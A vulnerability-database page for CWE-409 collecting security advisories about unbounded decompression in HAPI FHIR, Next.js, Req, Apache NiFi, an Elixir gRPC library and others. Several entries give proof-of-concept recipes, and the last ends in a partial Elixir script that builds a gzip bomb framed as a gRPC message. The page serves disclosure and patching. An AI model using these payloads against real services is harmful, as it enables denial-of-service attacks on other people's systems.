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Common Weakness Enumeration

CWE-409

Allowed

Improper Handling of Highly Compressed Data (Data Amplification)

Abstraction: Base · Status: Incomplete

The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

235 vulnerabilities reference this CWE, most recent first.

GHSA-3W98-RRPR-FPRR

Vulnerability from github – Published: 2026-09-17 20:32 – Updated: 2026-09-17 20:32
VLAI
Summary
HAPI FHIR: SHCParser unbounded DEFLATE decompression causes denial of service
Details

Summary

SHCParser inflates compressed Smart Health Card JWT payloads into memory without a decompressed-size limit. An attacker who can submit SHC content for validation can craft a small compressed JWT payload that expands to a very large byte array, causing memory exhaustion or severe garbage collection pressure.

Details

The vulnerable code is in org.hl7.fhir.r5/src/main/java/org/hl7/fhir/r5/elementmodel/SHCParser.java.

decodeJWT() checks MAX_ALLOWED_SHC_LENGTH, but this only logs an error and parsing continues:

// SHCParser.java:282-284
if (jwt.length() > MAX_ALLOWED_SHC_LENGTH) {
  logError(...);
}

If the header contains "zip":"DEF", the payload is inflated before JSON parsing:

// SHCParser.java:300-304
if ("DEF".equals(res.header.asString("zip"))) {
  payloadJson = inflate(payloadJson);
}
res.payload = JsonParser.parseObject(FileUtilities.bytesToString(payloadJson), true);

inflate() accumulates all decompressed output in a ByteArrayOutputStream and has no maximum output size:

// SHCParser.java:455-468
while (!inflater.finished()) {
  final int count = inflater.inflate(buffer);
  outputStream.write(buffer, 0, count);
}
return outputStream.toByteArray();

The same unbounded decompression pattern exists in decompress() at SHCParser.java:410-423.

PoC

Create a highly compressible SHC-shaped JSON payload, compress it with raw DEFLATE (new Deflater(9, true)), Base64URL-encode it as the JWT payload, and set the JWT header to {"zip":"DEF"}.

Local verification measured the following expansion through SHCParser.inflate():

plain=1000066 compressed=1052 inflated=1000066 ratio=950
plain=16000066 compressed=15626 inflated=16000066 ratio=1023

A small compressed payload can therefore allocate many megabytes of heap. Larger payloads can trigger OutOfMemoryError or process instability.

Impact

This is a denial-of-service vulnerability. Any validator service or application that accepts attacker-supplied SHC content can be forced to allocate excessive heap memory. Impact ranges from request failure and severe GC pressure to process termination.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.9.11"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.r5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.9.11"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation.cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-81875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:32:16Z",
    "nvd_published_at": "2026-09-16T19:17:44Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`SHCParser` inflates compressed Smart Health Card JWT payloads into memory without a decompressed-size limit. An attacker who can submit SHC content for validation can craft a small compressed JWT payload that expands to a very large byte array, causing memory exhaustion or severe garbage collection pressure.\n\n### Details\nThe vulnerable code is in `org.hl7.fhir.r5/src/main/java/org/hl7/fhir/r5/elementmodel/SHCParser.java`.\n\n`decodeJWT()` checks `MAX_ALLOWED_SHC_LENGTH`, but this only logs an error and parsing continues:\n\n```java\n// SHCParser.java:282-284\nif (jwt.length() \u003e MAX_ALLOWED_SHC_LENGTH) {\n  logError(...);\n}\n```\n\nIf the header contains `\"zip\":\"DEF\"`, the payload is inflated before JSON parsing:\n\n```java\n// SHCParser.java:300-304\nif (\"DEF\".equals(res.header.asString(\"zip\"))) {\n  payloadJson = inflate(payloadJson);\n}\nres.payload = JsonParser.parseObject(FileUtilities.bytesToString(payloadJson), true);\n```\n\n`inflate()` accumulates all decompressed output in a `ByteArrayOutputStream` and has no maximum output size:\n\n```java\n// SHCParser.java:455-468\nwhile (!inflater.finished()) {\n  final int count = inflater.inflate(buffer);\n  outputStream.write(buffer, 0, count);\n}\nreturn outputStream.toByteArray();\n```\n\nThe same unbounded decompression pattern exists in `decompress()` at `SHCParser.java:410-423`.\n\n### PoC\nCreate a highly compressible SHC-shaped JSON payload, compress it with raw DEFLATE (`new Deflater(9, true)`), Base64URL-encode it as the JWT payload, and set the JWT header to `{\"zip\":\"DEF\"}`.\n\nLocal verification measured the following expansion through `SHCParser.inflate()`:\n\n```text\nplain=1000066 compressed=1052 inflated=1000066 ratio=950\nplain=16000066 compressed=15626 inflated=16000066 ratio=1023\n```\n\nA small compressed payload can therefore allocate many megabytes of heap. Larger payloads can trigger `OutOfMemoryError` or process instability.\n\n### Impact\nThis is a denial-of-service vulnerability. Any validator service or application that accepts attacker-supplied SHC content can be forced to allocate excessive heap memory. Impact ranges from request failure and severe GC pressure to process termination.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
  "id": "GHSA-3w98-rrpr-fprr",
  "modified": "2026-09-17T20:32:16Z",
  "published": "2026-09-17T20:32:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-3w98-rrpr-fprr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81875"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/pull/2493"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/commit/fbb94216e0ad21ded75be77e5e20242ba194e83f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/releases/tag/6.9.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/releases/tag/6.9.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HAPI FHIR: SHCParser unbounded DEFLATE decompression causes denial of service"
}

GHSA-3WRW-4PCX-6P2G

Vulnerability from github – Published: 2026-08-18 21:31 – Updated: 2026-08-18 21:31
VLAI
Details

Malcolm's upload-processing pipeline (scripts/safe-extract.py) enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives (zip/tar/rar/7z via libarchive), but those limits are not applied when the uploaded file is a single-stream compressed format (.gz, .bz2, .xz, .lzma, .lz) that isn't a .tar.*-style archive. Any authenticated user permitted to upload PCAP/log files can upload a small, highly compressible file (e.g. a gzip bomb) that decompresses to an effectively unbounded size on disk, exhausting the shared Docker volume used by OpenSearch, Logstash, Arkime, and Zeek, and disrupting the platform for all users.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-19671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T20:17:13Z",
    "severity": "HIGH"
  },
  "details": "Malcolm\u0027s upload-processing pipeline (scripts/safe-extract.py) enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives (zip/tar/rar/7z via libarchive), but those limits are not applied when the uploaded file is a single-stream compressed format (.gz, .bz2, .xz, .lzma, .lz) that isn\u0027t a .tar.*-style archive. Any authenticated user permitted to upload PCAP/log files can upload a small, highly compressible file (e.g. a gzip bomb) that decompresses to an effectively unbounded size on disk, exhausting the shared Docker volume used by OpenSearch, Logstash, Arkime, and Zeek, and disrupting the platform for all users.",
  "id": "GHSA-3wrw-4pcx-6p2g",
  "modified": "2026-08-18T21:31:50Z",
  "published": "2026-08-18T21:31:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/Malcolm/security/advisories/GHSA-f2v6-8cj4-mhr6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19671"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-230-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4CXC-R29P-3327

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details

A vulnerability in the binary-husky/gpt_academic repository, as of commit git 3890467, allows an attacker to crash the server by uploading a specially crafted zip bomb. The server decompresses the uploaded file and attempts to load it into memory, which can lead to an out-of-memory crash. This issue arises due to improper input validation when handling compressed file uploads.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-12387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:28Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the binary-husky/gpt_academic repository, as of commit git 3890467, allows an attacker to crash the server by uploading a specially crafted zip bomb. The server decompresses the uploaded file and attempts to load it into memory, which can lead to an out-of-memory crash. This issue arises due to improper input validation when handling compressed file uploads.",
  "id": "GHSA-4cxc-r29p-3327",
  "modified": "2025-03-20T12:32:43Z",
  "published": "2025-03-20T12:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12387"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/02b4ab21-d29b-4cd7-ad80-f83081ce82a4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-56VG-25RP-H2C5

Vulnerability from github – Published: 2026-09-16 21:32 – Updated: 2026-09-17 21:31
VLAI
Details

Apache NiFi 2.11.0 disabled support for gzip-encoded HTTP requests for the application REST API and rejected requests that included the standard Content-Encoding header indicating gzip encoding. The framework enforcement filter did not check multiple instances of the Content-Encoding header and did not reject non-standard identifiers for gzip encoding, allowing a malicious client to send crafted requests that could consume excessive amounts of memory. Upgrading to Apache NiFi 2.12.0 is the recommended mitigation, which disables decompression of gzip-encoded HTTP requests regardless of header number or encoding identifiers.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-70469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-16T20:17:26Z",
    "severity": "HIGH"
  },
  "details": "Apache NiFi 2.11.0 disabled support for gzip-encoded HTTP requests for the application REST API and rejected requests that included the standard Content-Encoding header indicating gzip encoding. The framework enforcement filter did not check multiple instances of the Content-Encoding header and did not reject non-standard identifiers for gzip encoding, allowing a malicious client to send crafted requests that could consume excessive amounts of memory. Upgrading to Apache NiFi 2.12.0 is the recommended mitigation, which disables decompression of gzip-encoded HTTP requests regardless of header number or encoding identifiers.",
  "id": "GHSA-56vg-25rp-h2c5",
  "modified": "2026-09-17T21:31:35Z",
  "published": "2026-09-16T21:32:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70469"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/mjpv7r4djgn7fdvhnpjwgr2rcto47mx0"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/09/16/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5F7Q-JPQC-WP7H

Vulnerability from github – Published: 2026-01-28 15:20 – Updated: 2026-04-08 20:56
VLAI
Summary
Next.js has Unbounded Memory Consumption via PPR Resume Endpoint
Details

A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the Next-Resume: 1 header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:

  1. Unbounded request body buffering: The server buffers the entire POST request body into memory using Buffer.concat() without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.

  2. Unbounded decompression (zipbomb): The resume data cache is decompressed using inflateSync() without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.

Both attack vectors result in a fatal V8 out-of-memory error (FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.

To be affected, an application must run with experimental.ppr: true or cacheComponents: true configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.

Strongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.

Show details on source website

{
  "affected": [
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      "package": {
        "ecosystem": "npm",
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    {
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      },
      "ranges": [
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          "events": [
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              "introduced": "15.3.0-canary.0"
            },
            {
              "last_affected": "15.3.0-canary.46"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
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              "introduced": "15.3.1-canary.0"
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          "type": "ECOSYSTEM"
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    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
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              "introduced": "15.4.0-canary.0"
            },
            {
              "last_affected": "15.4.0-canary.130"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.4.2-canary.0"
            },
            {
              "last_affected": "15.4.2-canary.56"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.5.1-canary.0"
            },
            {
              "last_affected": "15.5.1-canary.39"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.6.0-canary.0"
            },
            {
              "fixed": "15.6.0-canary.61"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59472"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-28T15:20:55Z",
    "nvd_published_at": "2026-01-26T22:15:53Z",
    "severity": "MODERATE"
  },
  "details": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.",
  "id": "GHSA-5f7q-jpqc-wp7h",
  "modified": "2026-04-08T20:56:16Z",
  "published": "2026-01-28T15:20:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59472"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vercel/next.js"
    },
    {
      "type": "WEB",
      "url": "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Next.js has Unbounded Memory Consumption via PPR Resume Endpoint "
}

GHSA-5JF2-HCCC-P8FM

Vulnerability from github – Published: 2026-09-02 15:34 – Updated: 2026-09-02 15:34
VLAI
Details

Improper Handling of Highly Compressed Data (CWE-409) in APM Server can lead to a persistent denial of service via Excessive Allocation (CAPEC-130). An authenticated user with write access to source map content could store specially crafted, highly compressed content that exhausts the memory available to APM Server when it is later processed, terminating the process. The condition recurs on every restart until the stored content is removed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-78594"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-02T15:17:40Z",
    "severity": "MODERATE"
  },
  "details": "Improper Handling of Highly Compressed Data (CWE-409) in APM Server can lead to a persistent denial of service via Excessive Allocation (CAPEC-130). An authenticated user with write access to source map content could store specially crafted, highly compressed content that exhausts the memory available to APM Server when it is later processed, terminating the process. The condition recurs on every restart until the stored content is removed.",
  "id": "GHSA-5jf2-hccc-p8fm",
  "modified": "2026-09-02T15:34:49Z",
  "published": "2026-09-02T15:34:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78594"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/apm-server-8-19-20-9-4-5-9-5-1-security-update-esa-2026-152/390110"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-655F-MP8P-96GV

Vulnerability from github – Published: 2026-07-29 15:23 – Updated: 2026-07-29 15:23
VLAI
Summary
Req vulnerable to unbounded archive/compression extraction triggered by response content-type
Details

Summary

Req's default response pipeline auto-decodes archive and compressed bodies based on the server-supplied content-type (or URL extension) and materialises the full decompressed contents in memory with no size cap. An attacker who controls (or can redirect a victim into) an HTTP endpoint reached by Req.get!/1 can return a tiny "decompression bomb" that expands to many gigabytes on the client and exhausts the BEAM's memory.

Details

1. Archive auto-decoding. Req.Steps.decode_body/1 in lib/req/steps.ex dispatches on the response content-type (or URL extension) and calls Erlang's archive libraries with :memory, returning a [{name, bytes}] list of every entry fully decompressed in RAM: application/zip:zip.extract(body, [:memory]), application/x-tar:erl_tar.extract({:binary, body}, [:memory]), application/gzip / .tgz:erl_tar.extract({:binary, body}, [:memory, :compressed]). No byte cap is enforced before decoding and no per-entry size limit is passed to :zip / :erl_tar.

2. content-encoding chaining. Req.Steps.decompress_body/1 walks the content-encoding header and chains :zlib / :brotli / :ezstd decoders, so a response advertising content-encoding: gzip, gzip, gzip, … inflates through multiple layers without bound.

3. Default-on, attacker-chosen decoder. Both steps are part of Req's default pipeline. The caller does not need to opt in, and the attacker chooses which decoder fires by setting content-type and content-encoding on their own server (or on any host reached via Req's automatic redirect following).

PoC

  1. Run an HTTP server that responds 200 with content-type: application/zip and a body that is a zip archive whose single entry is ~400 MB of zero bytes (compressed wire payload: a few hundred KB).
  2. From the victim process, call Req.get!(url) against that server (no special options, no opt-in to archive decoding).
  3. decode_body/1 dispatches on content-type, invokes :zip.extract(body, [:memory]), and the response body becomes [{~c"bomb.bin", <<400 MB of zero bytes>>}]. A sub-MB request produces hundreds of MB resident memory; layering gzip on the content-encoding path or increasing entry size scales arbitrarily.

Impact

Memory-exhaustion denial of service against any Elixir application that uses Req with its default step pipeline to fetch URLs influenced by an untrusted party, including webhook senders, link previews, OAuth/OIDC discovery clients, package mirrors, image proxies, and any Req.get!/1 call that may follow redirects to attacker-controlled hosts. No authentication is required; a single response can crash the BEAM and take down unrelated workloads on the same VM.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "req"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49755"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T15:23:16Z",
    "nvd_published_at": "2026-06-08T16:16:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nReq\u0027s default response pipeline auto-decodes archive and compressed bodies based on the server-supplied `content-type` (or URL extension) and materialises the full decompressed contents in memory with no size cap. An attacker who controls (or can redirect a victim into) an HTTP endpoint reached by `Req.get!/1` can return a tiny \"decompression bomb\" that expands to many gigabytes on the client and exhausts the BEAM\u0027s memory.\n\n### Details\n\n**1. Archive auto-decoding.** `Req.Steps.decode_body/1` in `lib/req/steps.ex` dispatches on the response `content-type` (or URL extension) and calls Erlang\u0027s archive libraries with `:memory`, returning a `[{name, bytes}]` list of every entry fully decompressed in RAM: `application/zip` \u2192 `:zip.extract(body, [:memory])`, `application/x-tar` \u2192 `:erl_tar.extract({:binary, body}, [:memory])`, `application/gzip` / `.tgz` \u2192 `:erl_tar.extract({:binary, body}, [:memory, :compressed])`. No byte cap is enforced before decoding and no per-entry size limit is passed to `:zip` / `:erl_tar`.\n\n**2. content-encoding chaining.** `Req.Steps.decompress_body/1` walks the `content-encoding` header and chains `:zlib` / `:brotli` / `:ezstd` decoders, so a response advertising `content-encoding: gzip, gzip, gzip, \u2026` inflates through multiple layers without bound.\n\n**3. Default-on, attacker-chosen decoder.** Both steps are part of Req\u0027s default pipeline. The caller does not need to opt in, and the attacker chooses which decoder fires by setting `content-type` and `content-encoding` on their own server (or on any host reached via Req\u0027s automatic redirect following).\n\n### PoC\n\n1. Run an HTTP server that responds 200 with `content-type: application/zip` and a body that is a zip archive whose single entry is ~400 MB of zero bytes (compressed wire payload: a few hundred KB).\n2. From the victim process, call `Req.get!(url)` against that server (no special options, no opt-in to archive decoding).\n3. `decode_body/1` dispatches on `content-type`, invokes `:zip.extract(body, [:memory])`, and the response body becomes `[{~c\"bomb.bin\", \u003c\u003c400 MB of zero bytes\u003e\u003e}]`. A sub-MB request produces hundreds of MB resident memory; layering gzip on the `content-encoding` path or increasing entry size scales arbitrarily.\n\n### Impact\n\nMemory-exhaustion denial of service against any Elixir application that uses Req with its default step pipeline to fetch URLs influenced by an untrusted party, including webhook senders, link previews, OAuth/OIDC discovery clients, package mirrors, image proxies, and any `Req.get!/1` call that may follow redirects to attacker-controlled hosts. No authentication is required; a single response can crash the BEAM and take down unrelated workloads on the same VM.",
  "id": "GHSA-655f-mp8p-96gv",
  "modified": "2026-07-29T15:23:16Z",
  "published": "2026-07-29T15:23:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wojtekmach/req/security/advisories/GHSA-655f-mp8p-96gv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49755"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wojtekmach/req/commit/84977e5b1a83f26e749d55ad06e3625464af4e8d"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-49755.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wojtekmach/req"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-49755"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Req vulnerable to unbounded archive/compression extraction triggered by response content-type"
}

GHSA-65VG-64G8-MWJR

Vulnerability from github – Published: 2025-03-20 09:30 – Updated: 2025-03-21 04:29
VLAI
Summary
Apache Seata Vulnerable to Data Amplification
Details

Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Seata (incubating).

This issue affects Apache Seata (incubating): through <=2.2.0.

Users are recommended to upgrade to version 2.3.0, which fixes the issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.seata:seata-parent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-54016"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-20T18:24:39Z",
    "nvd_published_at": "2025-03-20T09:15:12Z",
    "severity": "LOW"
  },
  "details": "Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Seata (incubating).\n\nThis issue affects Apache Seata (incubating): through \u003c=2.2.0.\n\nUsers are recommended to upgrade to version 2.3.0, which fixes the issue.",
  "id": "GHSA-65vg-64g8-mwjr",
  "modified": "2025-03-21T04:29:43Z",
  "published": "2025-03-20T09:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54016"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/incubator-seata"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/grn0x8tmssx07qc9z50lwgmrkwzrrhzg"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/03/19/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:L/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Seata Vulnerable to Data Amplification"
}

GHSA-6CCX-9C9F-327W

Vulnerability from github – Published: 2026-08-25 18:12 – Updated: 2026-08-25 18:12
VLAI
Summary
gRPC Erlang package has unbounded gzip decompression (decompression bomb)
Details

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

